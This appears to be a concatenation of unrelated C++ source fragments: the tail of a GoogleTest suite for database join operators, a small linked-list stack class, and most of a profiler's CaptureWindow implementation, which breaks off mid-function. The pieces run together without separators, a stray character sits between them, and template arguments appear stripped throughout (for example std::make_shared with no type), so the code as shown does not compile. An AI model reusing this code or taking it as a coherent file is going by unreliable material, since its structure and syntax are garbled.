ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join_filtered.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoinBig) { this->template test_join_output( this->_table_wrapper_c, this->_table_wrapper_d, ColumnIDPair(ColumnID{0}, ColumnID{1}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_string_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerRefJoinFilteredBig) { auto scan_c = std::make_shared(this->_table_wrapper_c, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_c->execute(); auto scan_d = std::make_shared(this->_table_wrapper_d, ColumnID{1}, PredicateCondition::GreaterThanEquals, 6); scan_d->execute(); this->template test_join_output(scan_c, scan_d, ColumnIDPair(ColumnID{0}, ColumnID{1}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_string_inner_join_filtered.tbl", 1); } TYPED_TEST(JoinEquiTest, SelfJoin) { this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_a, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Self, "src/test/tables/joinoperators/int_self_join.tbl", 1); } TYPED_TEST(JoinEquiTest, JoinOnMixedValueAndDictionaryColumns) { this->template test_join_output(this->_table_wrapper_c_dict, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, JoinOnMixedValueAndReferenceColumns) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); this->template test_join_output(scan_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, MultiJoinOnReferenceLeft) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_f, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_g, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); auto scan_c = std::make_shared(this->_table_wrapper_h, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_c->execute(); auto join = std::make_shared(scan_a, scan_b, JoinMode::Inner, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output( join, scan_c, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_ref_ref_ref_left.tbl", 1); } TYPED_TEST(JoinEquiTest, MultiJoinOnReferenceRight) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_f, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_g, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); auto scan_c = std::make_shared(this->_table_wrapper_h, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_c->execute(); auto join = std::make_shared(scan_a, scan_b, JoinMode::Inner, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output( scan_c, join, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_ref_ref_ref_right.tbl", 1); } TYPED_TEST(JoinEquiTest, MultiJoinOnReferenceLeftFiltered) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_f, ColumnID{0}, PredicateCondition::GreaterThan, 6); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_g, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); auto scan_c = std::make_shared(this->_table_wrapper_h, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_c->execute(); auto join = std::make_shared(scan_a, scan_b, JoinMode::Inner, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output( join, scan_c, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_ref_ref_ref_left_filtered.tbl", 1); } TYPED_TEST(JoinEquiTest, MultiJoinOnValue) { auto join = std::make_shared(this->_table_wrapper_f, this->_table_wrapper_g, JoinMode::Inner, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output( join, this->_table_wrapper_h, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_val_val_val_left.tbl", 1); } TYPED_TEST(JoinEquiTest, MultiJoinOnRefOuter) { auto join = std::make_shared(this->_table_wrapper_f, this->_table_wrapper_g, JoinMode::Left, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output( join, this->_table_wrapper_h, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_val_val_val_leftouter.tbl", 1); } TYPED_TEST(JoinEquiTest, MixNestedLoopAndHash) { auto join = std::make_shared(this->_table_wrapper_f, this->_table_wrapper_g, JoinMode::Left, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output(join, this->_table_wrapper_h, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_nlj_hash.tbl", 1); } TYPED_TEST(JoinEquiTest, MixHashAndNestedLoop) { auto join = std::make_shared(this->_table_wrapper_f, this->_table_wrapper_g, JoinMode::Left, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals); join->execute(); this->template test_join_output(join, this->_table_wrapper_h, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_multijoin_nlj_hash.tbl", 1); } TYPED_TEST(JoinEquiTest, RightJoinRefColumn) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); this->template test_join_output(scan_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Right, "src/test/tables/joinoperators/int_right_join.tbl", 1); } TYPED_TEST(JoinEquiTest, LeftJoinRefColumn) { // scan that returns all rows auto scan_b = std::make_shared(this->_table_wrapper_b, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(this->_table_wrapper_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Left, "src/test/tables/joinoperators/int_left_join.tbl", 1); } TYPED_TEST(JoinEquiTest, RightJoinEmptyRefColumn) { // scan that returns no rows auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::Equals, 0); scan_a->execute(); this->template test_join_output(scan_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Right, "src/test/tables/joinoperators/int_join_empty.tbl", 1); } TYPED_TEST(JoinEquiTest, LeftJoinEmptyRefColumn) { // scan that returns no rows auto scan_b = std::make_shared(this->_table_wrapper_b, ColumnID{0}, PredicateCondition::Equals, 0); scan_b->execute(); this->template test_join_output(this->_table_wrapper_b, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Left, "src/test/tables/joinoperators/int_join_empty_left.tbl", 1); } // Does not work yet due to problems with RowID implementation (RowIDs need to reference a table) TYPED_TEST(JoinEquiTest, DISABLED_JoinOnUnion /* #160 */) { // Filtering to generate RefColumns auto filtered_left = std::make_shared(this->_table_wrapper_e, ColumnID{0}, PredicateCondition::LessThanEquals, 10); filtered_left->execute(); auto filtered_left2 = std::make_shared(this->_table_wrapper_f, ColumnID{0}, PredicateCondition::LessThanEquals, 10); filtered_left2->execute(); auto filtered_right = std::make_shared(this->_table_wrapper_g, ColumnID{0}, PredicateCondition::LessThanEquals, 10); filtered_right->execute(); auto filtered_right2 = std::make_shared(this->_table_wrapper_h, ColumnID{0}, PredicateCondition::LessThanEquals, 10); filtered_right2->execute(); // Union left and right auto union_left = std::make_shared(filtered_left, filtered_left2); union_left->execute(); auto union_right = std::make_shared(filtered_right, filtered_right2); union_right->execute(); this->template test_join_output(union_left, union_right, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/expected_join_result_1.tbl", 1); } } // namespace opossum #include "cstack.h" #define NULL 0 CSTACK::CSTACK() { stack=0; deep=0; } CSTACK::~CSTACK() { int tmpx,tmpy; if (stack!=NULL) { while(Pop(tmpx,tmpy)); } } bool CSTACK::Pop(int &x, int &y) { LIST* lp; if (stack==0)return false; x=stack->x; y=stack->y; lp=stack->next; delete stack; stack=lp; lp=0; deep--; return true; } void CSTACK::Push(int x, int y) { LIST* lst = new LIST; lst->x=x; lst->y=y; lst->next=stack; stack=lst; deep++; }0 // Copyright (c) 2020 The Orbit Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "CaptureWindow.h" #include "App.h" #include "Capture.h" #include "EventTracer.h" #include "FunctionUtils.h" #include "GlUtils.h" #include "absl/strings/str_format.h" using orbit_client_protos::TimerInfo; //----------------------------------------------------------------------------- CaptureWindow::CaptureWindow() { GCurrentTimeGraph = &time_graph_; time_graph_.SetTextRenderer(&m_TextRenderer); time_graph_.SetPickingManager(&m_PickingManager); time_graph_.SetCanvas(this); m_DrawUI = false; m_DrawHelp = true; m_DrawFilter = false; m_FirstHelpDraw = true; m_DrawStats = false; m_Picking = false; m_WorldTopLeftX = 0; m_WorldTopLeftY = 0; m_WorldMaxY = 0; slider_ = std::make_shared(); vertical_slider_ = std::make_shared(); m_HoverDelayMs = 300; m_CanHover = false; m_IsHovering = false; ResetHoverTimer(); slider_->SetCanvas(this); slider_->SetDragCallback([&](float a_Ratio) { this->OnDrag(a_Ratio); }); vertical_slider_->SetCanvas(this); vertical_slider_->SetVertical(); vertical_slider_->SetDragCallback( [&](float a_Ratio) { this->OnVerticalDrag(a_Ratio); }); GOrbitApp->RegisterCaptureWindow(this); } //----------------------------------------------------------------------------- CaptureWindow::~CaptureWindow() { if (GCurrentTimeGraph == &time_graph_) GCurrentTimeGraph = nullptr; } //----------------------------------------------------------------------------- void CaptureWindow::OnTimer() { GlCanvas::OnTimer(); } //----------------------------------------------------------------------------- void CaptureWindow::ZoomAll() { time_graph_.ZoomAll(); m_WorldTopLeftY = m_WorldMaxY; ResetHoverTimer(); NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::UpdateWheelMomentum(float a_DeltaTime) { GlCanvas::UpdateWheelMomentum(a_DeltaTime); bool zoomWidth = true; // TODO: !wxGetKeyState(WXK_CONTROL); if (zoomWidth && m_WheelMomentum != 0.f) { time_graph_.ZoomTime(m_WheelMomentum, m_MouseRatio); } } //----------------------------------------------------------------------------- void CaptureWindow::MouseMoved(int a_X, int a_Y, bool a_Left, bool /*a_Right*/, bool /*a_Middle*/) { int mousex = a_X; int mousey = a_Y; float worldx, worldy; ScreenToWorld(a_X, a_Y, worldx, worldy); m_MouseX = worldx; m_MouseY = worldy; m_MousePosX = mousex; m_MousePosY = mousey; // Pan if (a_Left && !m_ImguiActive && !m_PickingManager.IsDragging() && !Capture::IsCapturing()) { float worldMin; float worldMax; time_graph_.GetWorldMinMax(worldMin, worldMax); m_WorldTopLeftX = m_WorldClickX - static_cast(mousex) / getWidth() * m_WorldWidth; m_WorldTopLeftY = m_WorldClickY + static_cast(mousey) / getHeight() * m_WorldHeight; m_WorldTopLeftX = clamp(m_WorldTopLeftX, worldMin, worldMax - m_WorldWidth); m_WorldTopLeftY = clamp(m_WorldTopLeftY, m_WorldHeight - time_graph_.GetThreadTotalHeight(), m_WorldMaxY); UpdateSceneBox(); time_graph_.PanTime(m_ScreenClickX, a_X, getWidth(), static_cast(m_RefTimeClick)); UpdateVerticalSlider(); NeedsUpdate(); } if (m_IsSelecting) { m_SelectStop = Vec2(worldx, worldy); m_TimeStop = time_graph_.GetTickFromWorld(worldx); } if (a_Left) { m_PickingManager.Drag(a_X, a_Y); } ResetHoverTimer(); NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::LeftDown(int a_X, int a_Y) { // Store world clicked pos for panning ScreenToWorld(a_X, a_Y, m_WorldClickX, m_WorldClickY); m_ScreenClickX = a_X; m_ScreenClickY = a_Y; m_RefTimeClick = static_cast( time_graph_.GetTime(static_cast(a_X) / getWidth())); m_IsSelecting = false; Orbit_ImGui_MouseButtonCallback(this, 0, true); m_Picking = true; NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::LeftUp() { GlCanvas::LeftUp(); NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::LeftDoubleClick() { GlCanvas::LeftDoubleClick(); m_DoubleClicking = true; m_Picking = true; } //----------------------------------------------------------------------------- void CaptureWindow::Pick() { m_Picking = true; NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::Pick(int a_X, int a_Y) { // 4 bytes per pixel (RGBA), 1x1 bitmap std::array pixels; glReadPixels(a_X, m_MainWindowHeight - a_Y, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, &pixels[0]); uint32_t value; std::memcpy(&value, &pixels[0], sizeof(uint32_t)); PickingID pickId = PickingID::Get(value); Capture::GSelectedTextBox = nullptr; Capture::GSelectedThreadId = 0; Pick(pickId, a_X, a_Y); NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::Pick(PickingID a_PickingID, int a_X, int a_Y) { uint32_t type = a_PickingID.m_Type; Batcher& batcher = GetBatcherById(a_PickingID.batcher_id_); TextBox* text_box = batcher.GetTextBox(a_PickingID); if (text_box) { SelectTextBox(text_box); } else if (type == PickingID::PICKABLE) { m_PickingManager.Pick(a_PickingID.m_Id, a_X, a_Y); } } //----------------------------------------------------------------------------- void CaptureWindow::SelectTextBox(class TextBox* text_box) { if (text_box == nullptr) return; Capture::GSelectedTextBox = text_box; Capture::GSelectedThreadId = text_box->GetTimerInfo().thread_id(); const TimerInfo& timer_info = text_box->GetTimerInfo(); DWORD64 address = timer_info.function_address(); FindCode(address); if (m_DoubleClicking) { time_graph_.Zoom(text_box); } } //----------------------------------------------------------------------------- void CaptureWindow::Hover(int a_X, int a_Y) { // 4 bytes per pixel (RGBA), 1x1 bitmap std::vector pixels(1 * 1 * 4); glReadPixels(a_X, m_MainWindowHeight - a_Y, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, &pixels[0]); PickingID pickId = *reinterpret_cast(&pixels[0]); Batcher& batcher = GetBatcherById(pickId.batcher_id_); std::string tooltip = ""; if (pickId.m_Type == PickingID::PICKABLE) { auto pickable = GetPickingManager().GetPickableFromId(pickId.m_Id).lock(); if (pickable) { tooltip = pickable->GetTooltip(); } } else { PickingUserData* user_data = batcher.GetUserData(pickId); if (user_data && user_data->generate_tooltip_) { tooltip = user_data->generate_tooltip_(pickId); } } GOrbitApp->SendTooltipToUi(tooltip); } //----------------------------------------------------------------------------- void CaptureWindow::FindCode(DWORD64 /*address*/) {} //----------------------------------------------------------------------------- void CaptureWindow::PreRender() { if (is_mouse_over_ && m_CanHover && m_HoverTimer.QueryMillis() > m_HoverDelayMs) { m_IsHovering = true; m_Picking = true; NeedsRedraw(); } m_NeedsRedraw = m_NeedsRedraw || time_graph_.IsRedrawNeeded(); } //----------------------------------------------------------------------------- void CaptureWindow::PostRender() { if (m_IsHovering) { m_IsHovering = false; m_CanHover = false; m_Picking = false; m_HoverTimer.Reset(); Hover(m_MousePosX, m_MousePosY); NeedsUpdate(); GlCanvas::Render(m_Width, m_Height); m_HoverTimer.Reset(); } if (m_Picking) { m_Picking = false; Pick(m_ScreenClickX, m_ScreenClickY); NeedsRedraw(); GlCanvas::Render(m_Width, m_Height); } } //----------------------------------------------------------------------------- void CaptureWindow::Resize(int a_Width, int a_Height) { GlCanvas::Resize(a_Width, a_Height); NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::RightDown(int a_X, int a_Y) { ScreenToWorld(a_X, a_Y, m_WorldClickX, m_WorldClickY); m_ScreenClickX = a_X; m_ScreenClickY = a_Y; Pick(); m_IsSelecting = true; m_SelectStart = Vec2(m_WorldClickX, m_WorldClickY); m_SelectStop = m_SelectStart; m_TimeStart = time_graph_.GetTickFromWorld(m_WorldClickX); m_TimeStop = m_TimeStart; } //----------------------------------------------------------------------------- bool CaptureWindow::RightUp() { if (m_IsSelecting && (m_SelectStart[0] != m_SelectStop[0]) && ControlPressed()) { float minWorld = std::min(m_SelectStop[0], m_SelectStart[0]); float maxWorld = std::max(m_SelectStop[0], m_SelectStart[0]); double newMin = time_graph_.GetTime((minWorld - m_WorldTopLeftX) / m_WorldWidth); double newMax = time_graph_.GetTime((maxWorld - m_WorldTopLeftX) / m_WorldWidth); time_graph_.SetMinMax(newMin, newMax); m_SelectStart = m_SelectStop; } bool showContextMenu = m_SelectStart[0] == m_SelectStop[0]; m_IsSelecting = false; NeedsRedraw(); return showContextMenu; } //----------------------------------------------------------------------------- void CaptureWindow::MiddleDown(int a_X, int a_Y) { float worldx, worldy; ScreenToWorld(a_X, a_Y, worldx, worldy); m_IsSelecting = true; m_SelectStart = Vec2(worldx, worldy); m_SelectStop = m_SelectStart; } //----------------------------------------------------------------------------- void CaptureWindow::MiddleUp(int a_X, int a_Y) { float worldx, worldy; ScreenToWorld(a_X, a_Y, worldx, worldy); m_IsSelecting = false; m_SelectStop = Vec2(worldx, worldy); NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::Zoom(int a_Delta) { if (a_Delta == 0) return; a_Delta = -a_Delta; float worldx; float worldy; ScreenToWorld(m_MousePosX, m_MousePosY, worldx, worldy); m_MouseRatio = static_cast(m_MousePosX) / getWidth(); time_graph_.ZoomTime(a_Delta, m_MouseRatio); m_WheelMomentum = a_Delta * m_WheelMomentum < 0 ? 0 : m_WheelMomentum + a_Delta; NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::Pan(float a_Ratio) { double refTime = time_graph_.GetTime(static_cast(m_MousePosX) / getWidth()); time_graph_.PanTime(m_MousePosX, m_MousePosX + static_cast(a_Ratio * getWidth()), getWidth(), refTime); UpdateSceneBox(); NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::MouseWheelMoved(int a_X, int a_Y, int a_Delta, bool a_Ctrl) { if (a_Delta == 0) return; // Normalize and invert sign, so that delta < 0 is zoom in. const int delta = a_Delta < 0 ? 1 : -1; const auto delta_float = static_cast(delta); if (delta < m_MinWheelDelta) m_MinWheelDelta = delta; if (delta > m_MaxWheelDelta) m_MaxWheelDelta = delta; float worldx; float worldy; ScreenToWorld(a_X, a_Y, worldx, worldy); bool zoomWidth = !a_Ctrl; if (zoomWidth) { m_MouseRatio = static_cast(a_X) / getWidth(); time_graph_.ZoomTime(delta_float, m_MouseRatio); m_WheelMomentum = delta_float * m_WheelMomentum < 0 ? 0 : m_WheelMomentum + delta_float; } else { float mouse_relative_y_position = static_cast(a_Y) / static_cast(getHeight()); time_graph_.VerticalZoom(delta_float, mouse_relative_y_position); } // Use the original sign of a_Delta here. Orbit_ImGui_ScrollCallback(this, -delta); m_CanHover = true; NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::MouseWheelMovedHorizontally(int /*a_X*/, int /*a_Y*/, int a_Delta, bool /*a_Ctrl*/) { if (a_Delta == 0) return; // Normalize and invert sign, so that delta < 0 is left. int delta = a_Delta < 0 ? 1 : -1; if (delta < 0) { Pan(0.1f); } else { Pan(-0.1f); } // Use the original sign of a_Delta here. Orbit_ImGui_ScrollCallback(this, -delta); } //----------------------------------------------------------------------------- void CaptureWindow::KeyPressed(unsigned int a_KeyCode, bool a_Ctrl, bool a_Shift, bool a_Alt) { UpdateSpecialKeys(a_Ctrl, a_Shift, a_Alt); ScopeImguiContext state(m_ImGuiContext); if (!m_ImguiActive) { switch (a_KeyCode) { case ' ': if (!a_Shift) { ZoomAll(); } break; case 'A': Pan(0.1f); break; case 'D': Pan(-0.1f); break; case 'W': Zoom(1); break; case 'S': Zoom(-1); break; case 'F': m_DrawFilter = !m_DrawFilter; break; case 'I': m_DrawStats = !m_DrawStats; break; case 'H': m_DrawHelp = !m_DrawHelp; break; case 'X': GOrbitApp->ToggleCapture(); m_DrawHelp = false; #ifdef __linux__ ZoomAll(); #endif break; case 'O': if (a_Ctrl) { m_TextRenderer.ToggleDrawOutline(); } break; case 18: // Left if (a_Shift) { time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kPrevious, TimeGraph::JumpScope::kSameFunction); } else if (a_Alt) { time_graph_.JumpToNeighborBox( Capture::GSelectedTextBox, TimeGraph::JumpDirection::kPrevious, TimeGraph::JumpScope::kSameThreadSameFunction); } else { time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kPrevious, TimeGraph::JumpScope::kSameDepth); } break; case 20: // Right if (a_Shift) { time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kNext, TimeGraph::JumpScope::kSameFunction); } else if (a_Alt) { time_graph_.JumpToNeighborBox( Capture::GSelectedTextBox, TimeGraph::JumpDirection::kNext, TimeGraph::JumpScope::kSameThreadSameFunction); } else { time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kNext, TimeGraph::JumpScope::kSameDepth); } break; case 19: // Up time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kTop, TimeGraph::JumpScope::kSameThread); break; case 21: // Down time_graph_.JumpToNeighborBox(Capture::GSelectedTextBox, TimeGraph::JumpDirection::kDown, TimeGraph::JumpScope::kSameThread); break; } } ImGuiIO& io = ImGui::GetIO(); io.KeyCtrl = a_Ctrl; io.KeyShift = a_Shift; io.KeyAlt = a_Alt; Orbit_ImGui_KeyCallback(this, a_KeyCode, true); NeedsRedraw(); } //----------------------------------------------------------------------------- std::vector CaptureWindow::GetContextMenu() { return std::vector{}; } //----------------------------------------------------------------------------- void CaptureWindow::OnContextMenu(const std::string& /*a_Action*/, int /*a_MenuIndex*/) {} //----------------------------------------------------------------------------- void CaptureWindow::OnCaptureStarted() { time_graph_.ZoomAll(); NeedsRedraw(); } //----------------------------------------------------------------------------- void CaptureWindow::ResetHoverTimer() { m_HoverTimer.Reset(); m_CanHover = true; } //----------------------------------------------------------------------------- void CaptureWindow::Draw() { m_WorldMaxY = 1.5f * ScreenToWorldHeight(static_cast(slider_->GetPixelHeight())); if (Capture::IsCapturing()) { ZoomAll(); } // Reset picking manager before each draw. m_PickingManager.Reset(); time_graph_.Draw(this, GetPickingMode()); if (!m_Picking && m_SelectStart[0] != m_SelectStop[0]) { TickType minTime = std::min(m_TimeStart, m_TimeStop); TickType maxTime = std::max(m_TimeStart, m_TimeStop); float from = time_graph_.GetWorldFromTick(minTime); float to = time_graph_.GetWorldFromTick(maxTime); float sizex = to - from; Vec2 pos(from, m_WorldTopLeftY - m_WorldHeight); Vec2 size(sizex, m_WorldHeight); std::string time = GetPrettyTime(TicksToDuration(minTime, maxTime)); TextBox box(pos, size, time, Color(0, 128, 0, 128)); box.SetTextY(m_SelectStop[1]); box.Draw(&ui_batcher_, m_TextRenderer, -FLT_MAX, true, true); } if (!m_Picking && !m_IsHovering) { RenderTimeBar(); Vec2 pos(m_MouseX, m_WorldTopLeftY); ui_batcher_.AddVerticalLine(pos, -m_WorldHeight, Z_VALUE_TEXT, Color(0, 255, 0, 127), PickingID::LINE); } } //----------------------------------------------------------------------------- void CaptureWindow::DrawScreenSpace() { double timeSpan = time_graph_.GetCaptureTimeSpanUs(); Color col = slider_->GetBarColor(); float height = slider_->GetPixelHeight(); float canvasHeight = getHeight(); float z = GlCanvas::Z_VALUE_TEXT_UI_BG; const TimeGraphLayout& layout = time_graph_.GetLayout(); float vertical_margin = layout.GetVerticalMargin(); const auto picking_mode = GetPickingMode(); if (timeSpan > 0) { double start = time_graph_.GetMinTimeUs(); double stop = time_graph_.GetMaxTimeUs(); double width = stop - start; double maxStart = timeSpan - width; double ratio = Capture::IsCapturing() ? 1 : (maxStart != 0 ? start / maxStart : 0); float slider_width = layout.GetSliderWidth(); slider_->SetPixelHeight(slider_width); slider_->SetSliderRatio(static_cast(ratio)); slider_->SetSliderWidthRatio(static_cast(width / timeSpan)); slider_->Draw(this, picking_mode); float verticalRatio = m_WorldHeight / time_graph_.GetThreadTotalHeight(); if (verticalRatio < 1.f) { vertical_slider_->SetPixelHeight(slider_width); vertical_slider_->SetSliderWidthRatio(verticalRatio); vertical_slider_->Draw(this, picking_mode); vertical_margin += slider_width; } } // Right vertical margin. time_graph_.SetVerticalMargin(vertical_margin); const Color kBackgroundColor(70, 70, 70, 255); float margin_x1 = getWidth(); float margin_x0 = margin_x1 - vertical_margin; Box box(Vec2(margin_x0, 0), Vec2(margin_x1 - margin_x0, canvasHeight - height), z); ui_batcher_.AddBox(box, kBackgroundColor, PickingID::BOX); // Time bar background if (time_graph_.GetCaptureTimeSpanUs() > 0) { Box box(Vec2(0, time_graph_.GetLayout().GetSliderWidth()), Vec2(getWidth(), time_graph_.GetLayout().GetTimeBarHeight()), GlCanvas::Z_VALUE_TEXT_UI_BG); ui_batcher_.AddBox(box, Color(70, 70, 70, 200), PickingID::BOX); } } //----------------------------------------------------------------------------- void CaptureWindow::OnDrag(float a_Ratio) { time_graph_.OnDrag(a_Ratio); NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::OnVerticalDrag(float a_Ratio) { float min = m_WorldMaxY; float max = m_WorldHeight - time_graph_.GetThreadTotalHeight(); float range = max - min; m_WorldTopLeftY = min + a_Ratio * range; NeedsUpdate(); } //----------------------------------------------------------------------------- void CaptureWindow::UpdateVerticalSlider() { float min = m_WorldMaxY; float max = m_WorldHeight - time_graph_.GetThreadTotalHeight(); float ratio = (m_WorldTopLeftY - min) / (max - min); vertical_slider_->SetSliderRatio(ratio); } void CaptureWindow::ToggleDrawHelp() { m_DrawHelp = !m_DrawHelp; NeedsRedraw(); } Batcher& CaptureWindow::GetBatcherById(uint32_t batcher_id) { return batcher_id == PickingID::TIME_GRAPH ? time_graph_.GetBatcher() : ui_batcher_; } [[nodiscard]] PickingMode CaptureWindow::GetPickingMode() { PickingMode picking_mode = PickingMode::kNone; if (m_Picking) { picking_mode = PickingMode::kClick; } if (m_IsHovering) { picking_mode = PickingMode::kHover; } return picking_mode; } //----------------------------------------------------------------------------- void CaptureWindow::NeedsUpdate() { time_graph_.NeedsUpdate(); m_NeedsRedraw = true; } //----------------------------------------------------------------------------- float CaptureWindow::GetTopBarTextY() { return slider_->GetPixelHeight() * 0.5f + m_TextRenderer.GetStringHeight("FpjT_H") * 0.5f; } //----------------------------------------------------------------------------- void CaptureWindow::RenderUI() { // Don't draw ImGui when picking. if (m_Picking || m_IsHovering) { return; } ScopeImguiContext state(m_ImGuiContext); Orbit_ImGui_NewFrame(this); if (m_DrawStats) { ImGui::ShowDemoWindow(); if (time_graph_.GetLayout().DrawProperties()) { NeedsUpdate(); } m_StatsWindow.Clear(); m_StatsWindow.AddLine(VAR_TO_STR(m_Width)); m_StatsWindow.AddLine(VAR_TO_STR(m_Height)); m_StatsWindow.AddLine(VAR_TO_STR(m_WorldHeight)); m_StatsWindow.AddLine(VAR_TO_STR(m_WorldWidth)); m_StatsWindow.AddLine(VAR_TO_STR(m_WorldTopLeftX)); m_StatsWindow.AddLine(VAR_TO_STR(m_WorldTopLeftY)); m_StatsWindow.AddLine(VAR_TO_STR(m_WorldMinWidth)); m_StatsWindow.AddLine(VAR_TO_STR(m_MouseX)); m_StatsWindow.AddLine(VAR_TO_STR(m_MouseY)); m_StatsWindow.AddLine(VAR_TO_STR(Capture::GSelectedFunctionsMap.size())); m_StatsWindow.AddLine(VAR_TO_STR(Capture::GVisibleFunctionsMap.size())); m_StatsWindow.AddLine(VAR_TO_STR(time_graph_.GetNumDrawnTextBoxes())); m_StatsWindow.AddLine(VAR_TO_STR(time_graph_.GetNumTimers())); m_StatsWindow.AddLine(VAR_TO_STR(time_graph_.GetThreadTotalHeight())); #ifndef WIN32 m_StatsWindow.AddLine( VAR_TO_STR(GEventTracer.GetEventBuffer().GetCallstacks().size())); m_StatsWindow.AddLine( VAR_TO_STR(GEventTracer.GetEventBuffer().GetNumEvents())); #endif m_StatsWindow.Draw("Capture Stats", &m_DrawStats); } if (m_DrawHelp) { RenderHelpUi(); if (m_FirstHelpDraw) { // Redraw so that Imgui resizes the // window properly on first draw NeedsRedraw(); m_FirstHelpDraw = false; } } // Rendering glViewport(0, 0, getWidth(), getHeight()); ImGui::Render(); } //----------------------------------------------------------------------------- void CaptureWindow::RenderText() { if (!m_Picking) { time_graph_.DrawText(this); } } //----------------------------------------------------------------------------- void ColorToFloat(Color a_Color, float* o_Float) { for (size_t i = 0; i < 4; ++i) { o_Float[i] = a_Color[i] / 255.f; } } //----------------------------------------------------------------------------- void CaptureWindow::RenderHelpUi() { constexpr float kYOffset = 8.f; 